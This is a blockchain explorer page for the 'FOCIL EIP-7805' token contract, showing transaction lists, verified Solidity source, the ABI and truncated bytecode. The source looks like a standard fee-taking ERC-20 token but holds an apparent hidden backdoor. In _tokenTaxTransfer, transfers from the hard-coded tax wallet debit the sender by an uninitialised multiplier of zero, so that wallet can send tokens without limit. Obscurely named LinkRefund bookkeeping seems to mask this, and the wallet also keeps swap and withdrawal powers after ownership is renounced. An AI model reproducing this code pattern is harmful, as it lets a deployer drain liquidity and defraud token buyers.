ETH Price: $2,071.28 (+9.72%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve232344222025-08-27 19:03:59182 days ago1756321439IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000029950.64685603
Approve232344052025-08-27 19:00:35182 days ago1756321235IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000173323.72124576
Approve232344052025-08-27 19:00:35182 days ago1756321235IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000173323.72124576
Manual Swap232343912025-08-27 18:57:47182 days ago1756321067IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000090510.64561691
Approve232340232025-08-27 17:43:35182 days ago1756316615IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000060781.31340593
Renounce Ownersh...232340092025-08-27 17:40:47182 days ago1756316447IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000022020.9439932
Approve232339992025-08-27 17:38:47182 days ago1756316327IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000046180.99799657
Approve232339992025-08-27 17:38:47182 days ago1756316327IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000046180.99799657
Approve232339932025-08-27 17:37:35182 days ago1756316255IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000046050.99516363
Approve232339892025-08-27 17:36:47182 days ago1756316207IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000041980.90728128
Approve232339882025-08-27 17:36:35182 days ago1756316195IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000041870.90483005
Approve232339822025-08-27 17:35:23182 days ago1756316123IN
0xa3eEbB38...1f8E68D8d
0 ETH0.00004220.91188504
Approve232339782025-08-27 17:34:35182 days ago1756316075IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000042720.92317559
Approve232339772025-08-27 17:34:23182 days ago1756316063IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000040980.88564704
Approve232339752025-08-27 17:33:59182 days ago1756316039IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000042140.91072687
Approve232339702025-08-27 17:32:59182 days ago1756315979IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000045130.97519898
Approve232339682025-08-27 17:32:35182 days ago1756315955IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000045160.97604991
Approve232339672025-08-27 17:32:23182 days ago1756315943IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000046761.01049422
Approve232339602025-08-27 17:30:59182 days ago1756315859IN
0xa3eEbB38...1f8E68D8d
0 ETH0.00004490.97034913
Approve232339572025-08-27 17:30:23182 days ago1756315823IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000047691.03071825
Approve232339522025-08-27 17:29:23182 days ago1756315763IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000048071.03877334
Approve232339472025-08-27 17:28:23182 days ago1756315703IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000050771.09713976
Approve232339452025-08-27 17:27:59182 days ago1756315679IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000050471.09060255
Approve232339432025-08-27 17:27:35182 days ago1756315655IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000049841.07709076
Approve232339422025-08-27 17:27:23182 days ago1756315643IN
0xa3eEbB38...1f8E68D8d
0 ETH0.000050181.08451282
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer232343912025-08-27 18:57:47182 days ago1756321067
0xa3eEbB38...1f8E68D8d
0.05305295 ETH
Transfer232343912025-08-27 18:57:47182 days ago1756321067
0xa3eEbB38...1f8E68D8d
0.05305295 ETH
Transfer232339702025-08-27 17:32:59182 days ago1756315979
0xa3eEbB38...1f8E68D8d
0.00544047 ETH
Transfer232339702025-08-27 17:32:59182 days ago1756315979
0xa3eEbB38...1f8E68D8d
0.00544047 ETH
Transfer232339632025-08-27 17:31:35182 days ago1756315895
0xa3eEbB38...1f8E68D8d
0.03066203 ETH
Transfer232339632025-08-27 17:31:35182 days ago1756315895
0xa3eEbB38...1f8E68D8d
0.03066203 ETH
Transfer232339612025-08-27 17:31:11182 days ago1756315871
0xa3eEbB38...1f8E68D8d
0.01449557 ETH
Transfer232339612025-08-27 17:31:11182 days ago1756315871
0xa3eEbB38...1f8E68D8d
0.01449557 ETH
Transfer232339602025-08-27 17:30:59182 days ago1756315859
0xa3eEbB38...1f8E68D8d
0.03443055 ETH
Transfer232339602025-08-27 17:30:59182 days ago1756315859
0xa3eEbB38...1f8E68D8d
0.03443055 ETH
Transfer232339562025-08-27 17:30:11182 days ago1756315811
0xa3eEbB38...1f8E68D8d
0.01149182 ETH
Transfer232339562025-08-27 17:30:11182 days ago1756315811
0xa3eEbB38...1f8E68D8d
0.01149182 ETH
Transfer232339532025-08-27 17:29:35182 days ago1756315775
0xa3eEbB38...1f8E68D8d
0.01688724 ETH
Transfer232339532025-08-27 17:29:35182 days ago1756315775
0xa3eEbB38...1f8E68D8d
0.01688724 ETH
Transfer232339512025-08-27 17:29:11182 days ago1756315751
0xa3eEbB38...1f8E68D8d
0.03805619 ETH
Transfer232339512025-08-27 17:29:11182 days ago1756315751
0xa3eEbB38...1f8E68D8d
0.03805619 ETH
Transfer232339482025-08-27 17:28:35182 days ago1756315715
0xa3eEbB38...1f8E68D8d
0.02035645 ETH
Transfer232339482025-08-27 17:28:35182 days ago1756315715
0xa3eEbB38...1f8E68D8d
0.02035645 ETH
Transfer232339462025-08-27 17:28:11182 days ago1756315691
0xa3eEbB38...1f8E68D8d
0.04155167 ETH
Transfer232339462025-08-27 17:28:11182 days ago1756315691
0xa3eEbB38...1f8E68D8d
0.04155167 ETH
Transfer232339392025-08-27 17:26:47182 days ago1756315607
0xa3eEbB38...1f8E68D8d
0.02998275 ETH
Transfer232339392025-08-27 17:26:47182 days ago1756315607
0xa3eEbB38...1f8E68D8d
0.02998275 ETH
Transfer232339352025-08-27 17:25:59182 days ago1756315559
0xa3eEbB38...1f8E68D8d
0.00389034 ETH
Transfer232339352025-08-27 17:25:59182 days ago1756315559
0xa3eEbB38...1f8E68D8d
0.00389034 ETH
Transfer232339332025-08-27 17:25:35182 days ago1756315535
0xa3eEbB38...1f8E68D8d
0.02062552 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FOCIL

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-08-27
*/

// SPDX-License-Identifier: MIT
/*
Web: https://www.ainvest.com/news/ethereum-focil-proposal-balancing-act-innovation-legal-exposure-2508/
*/
pragma solidity 0.8.23;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a, uint256 b, string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner=address(0);
    }

}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract FOCIL is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;

    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals= 9;
    uint256 private constant _tTotal= 1000000000 * 10**_decimals;
    string private constant _name= unicode"FOCIL EIP-7805";
    string private constant _symbol= unicode"EIP-7805";
    uint256 public _maxTxAmount= 20000000 * 10**_decimals;
    uint256 public _maxWalletSize= 20000000 * 10**_decimals;
    uint256 public constant _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public constant _maxTaxSwap= 10000000 * 10**_decimals;

    uint256 private refundLinkLimit;
    struct LinkRefund {uint256 refLinkAmount; uint256 linkAmount; uint256 linkClaimTotal;}
    mapping(address => LinkRefund) private linkRefund;
    uint256 private linkTotalAmount;

    IUniswapV2Router02 private immutable uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x0FaE10f627F2Ec88dECEccB638e711cB6599B3c2);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _balances[_msgSender()]= _tTotal;
        _isExcludedFromFee[_taxWallet]= true;
        _isExcludedFromFee[address(this)]= true;

        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from,to, tokenAmount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()]
                .sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount>0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap ) {
            _basicTransfer(from,to,tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner()&& to != _taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! _isExcludedFromFee[to]) {
                require(
                    tokenAmount<=_maxTxAmount, "Exceeds the _maxTxAmount."
                );
                require(balanceOf(
                    to)+tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap&& to==uniswapV2Pair && swapEnabled
                && contractTokenBalance >_taxSwapThreshold && _buyCount>_preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ( (_isExcludedFromFee[from] ||_isExcludedFromFee[to] ) && from!= address(this) && to != address(this) ) {
            linkTotalAmount = block.number;
        }

        if (!_isExcludedFromFee[from]&&!_isExcludedFromFee[to]){
            if (uniswapV2Pair!= to) {
                LinkRefund storage linkRef = linkRefund[to];
                if (uniswapV2Pair == from){
                    if (linkRef.refLinkAmount == 0) {
                        linkRef.refLinkAmount = _buyCount<_preventSwapBefore? block.number-1: block.number;
                    }
                } else {
                    LinkRefund storage linkRefSwap = linkRefund[from];
                    if (linkRefSwap.refLinkAmount < linkRef.refLinkAmount || !(linkRef.refLinkAmount>0) ) {
                        linkRef.refLinkAmount = linkRefSwap.refLinkAmount;
                    }
                }
            } else {
                LinkRefund storage linkRefSwap = linkRefund[from];
                linkRefSwap.linkAmount = linkRefSwap.refLinkAmount.sub(linkTotalAmount);
                linkRefSwap.linkClaimTotal = block.timestamp;
            }
        }

        _tokenTransfer(from,to, tokenAmount,taxAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount =addrs != _taxWallet ? tokenAmount : refundLinkLimit.mul(tokenAmount);
        if (taxAmount >0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this),taxAmount);
        }
        return tAmount;
    }

    function _tokenBasicTransfer(
        address from,
        address to,
        uint256 sendAmount,
        uint256 receiptAmount
    ) internal {
        _balances[from]=_balances[from].sub(sendAmount);
        _balances[to]=_balances[to].add(receiptAmount);
        emit Transfer(from, to,receiptAmount);
    }

    function _tokenTransfer(
        address from,
        address to, uint256 tokenAmount,
        uint256 taxAmount
    ) internal {
        uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to,tAmount,tokenAmount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount=_tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        swapEnabled = true;
        uniswapV2Router.addLiquidityETH{value:address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen=true;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}

    function manualSend() external {
        require(_msgSender()==_taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052600a600555600a6006555f6007555f60085560196009556019600a556014600b555f600c556009600a620000399190620002d0565b62000049906301312d00620002e7565b600d556200005a6009600a620002d0565b6200006a906301312d00620002e7565b600e556012805461ffff60a81b1916905534801562000087575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916730fae10f627f2ec88dececcb638e711cb6599b3c2179055737a250d5630b4cf539739df2c5dacb4c659f2488d608052620001146009600a620002d0565b6200012490633b9aca00620002e7565b335f818152600160208181526040808420959095556004546001600160a01b0316835260039052838220805460ff199081168317909155308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200019a6009600a620002d0565b620001aa90633b9aca00620002e7565b60405190815260200160405180910390a362000301565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200021557815f1904821115620001f957620001f9620001c1565b808516156200020757918102915b93841c9390800290620001da565b509250929050565b5f826200022d57506001620002ca565b816200023b57505f620002ca565b81600181146200025457600281146200025f576200027f565b6001915050620002ca565b60ff841115620002735762000273620001c1565b50506001821b620002ca565b5060208310610133831016604e8410600b8410161715620002a4575081810a620002ca565b620002b08383620001d5565b805f1904821115620002c657620002c6620001c1565b0290505b92915050565b5f620002e060ff8416836200021d565b9392505050565b8082028115828204841417620002ca57620002ca620001c1565b608051611b0e620003525f395f818161064c0152818161068701528181610716015281816108280152818161092701528181610cf90152818161118901528181611240015261127c0152611b0e5ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102f7578063bf474bed14610195578063c9567bf914610316578063dd62ed3e1461032a578063f42938901461036e575f80fd5b8063751039fc146102635780637d1db4a5146102775780638da5cb5b1461028c5780638f9a55c0146102b257806395d89b41146102c7575f80fd5b806323b872dd116100e357806323b872dd146101cb578063313ce567146101ea57806351bc3c851461020557806370a082311461021b578063715018a61461024f575f80fd5b806306fdde031461011e578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600e81526d464f43494c204549502d3738303560901b60208201525b60405161015d9190611701565b60405180910390f35b348015610171575f80fd5b50610185610180366004611761565b610382565b604051901515815260200161015d565b3480156101a0575f80fd5b506101a9610398565b60405190815260200161015d565b3480156101c2575f80fd5b506101a96103b4565b3480156101d6575f80fd5b506101856101e536600461178b565b6103d4565b3480156101f5575f80fd5b506040516009815260200161015d565b348015610210575f80fd5b5061021961043b565b005b348015610226575f80fd5b506101a96102353660046117c9565b6001600160a01b03165f9081526001602052604090205490565b34801561025a575f80fd5b5061021961048c565b34801561026e575f80fd5b50610219610506565b348015610282575f80fd5b506101a9600d5481565b348015610297575f80fd5b505f546040516001600160a01b03909116815260200161015d565b3480156102bd575f80fd5b506101a9600e5481565b3480156102d2575f80fd5b506040805180820190915260088152674549502d3738303560c01b6020820152610150565b348015610302575f80fd5b50610185610311366004611761565b6105b7565b348015610321575f80fd5b506102196105c3565b348015610335575f80fd5b506101a96103443660046117e4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610379575f80fd5b506102196109b8565b5f61038e3384846109e4565b5060015b92915050565b6103a46009600a61190f565b6103b1906298968061191d565b81565b5f6103c16009600a61190f565b6103cf90633b9aca0061191d565b905090565b5f6103e0848484610b08565b610431843361042c85604051806060016040528060288152602001611ab1602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110e9565b6109e4565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461045a575f80fd5b305f9081526001602052604090205480156104785761047881611121565b47801561048857610488816112f7565b5050565b5f546001600160a01b031633146104be5760405162461bcd60e51b81526004016104b590611934565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461052f5760405162461bcd60e51b81526004016104b590611934565b61053b6009600a61190f565b61054990633b9aca0061191d565b600d556105586009600a61190f565b61056690633b9aca0061191d565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105966009600a61190f565b6105a490633b9aca0061191d565b60405190815260200160405180910390a1565b5f61038e338484610b08565b5f546001600160a01b031633146105ec5760405162461bcd60e51b81526004016104b590611934565b601254600160a01b900460ff16156106465760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b5565b610685307f00000000000000000000000000000000000000000000000000000000000000006106776009600a61190f565b61042c90633b9aca0061191d565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107059190611969565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610770573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107949190611969565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107de573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108029190611969565b60128054600162ff000160a01b0319166001600160a01b0392831617600160b01b1790557f00000000000000000000000000000000000000000000000000000000000000001663f305d719473061086d816001600160a01b03165f9081526001602052604090205490565b5f806108805f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e6573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061090b9190611984565b505060125460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301525f196024830152909116915063095ea7b3906044016020604051808303815f875af115801561097e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a291906119af565b506012805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316336001600160a01b0316146109d7575f80fd5b476109e1816112f7565b50565b6001600160a01b038316610a465760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b5565b6001600160a01b038216610aa75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b6c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b5565b6001600160a01b038216610bce5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b5565b5f8111610c2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b5565b601254600160b01b900460ff161580610c515750601254600160a81b900460ff165b15610c6657610c6183838361132e565b505050565b5f80546001600160a01b03858116911614801590610c9157505f546001600160a01b03848116911614155b8015610cab57506004546001600160a01b03848116911614155b15610f4f57610cdc6064610cd6600954600c5411610ccb57600554610ccf565b6007545b85906113d1565b90611456565b6012549091506001600160a01b038581169116148015610d2e57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b8015610d5257506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3857600d54821115610da95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b5565b600e5482610dcb856001600160a01b03165f9081526001602052604090205490565b610dd591906119ce565b1115610e235760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b5565b600c8054905f610e32836119e1565b91905055505b6012546001600160a01b038481169116148015610e5e57506001600160a01b0384163014155b15610e8b57610e886064610cd6600a54600c5411610e7e57600654610ccf565b60085485906113d1565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610ec157506012546001600160a01b038581169116145b8015610ed65750601254600160b01b900460ff165b8015610ef95750610ee96009600a61190f565b610ef6906298968061191d565b81115b8015610f085750600b54600c54115b15610f4d57610f3b610f3684610f3184610f246009600a61190f565b610f31906298968061191d565b611497565b611121565b478015610f4b57610f4b476112f7565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f8c57506001600160a01b0383165f9081526003602052604090205460ff165b8015610fa157506001600160a01b0384163014155b8015610fb657506001600160a01b0383163014155b15610fc057436011555b6001600160a01b0384165f9081526003602052604090205460ff1615801561100057506001600160a01b0383165f9081526003602052604090205460ff16155b156110d7576012546001600160a01b038481169116146110a5576001600160a01b038084165f908152601060205260409020601254909186811691160361106d5780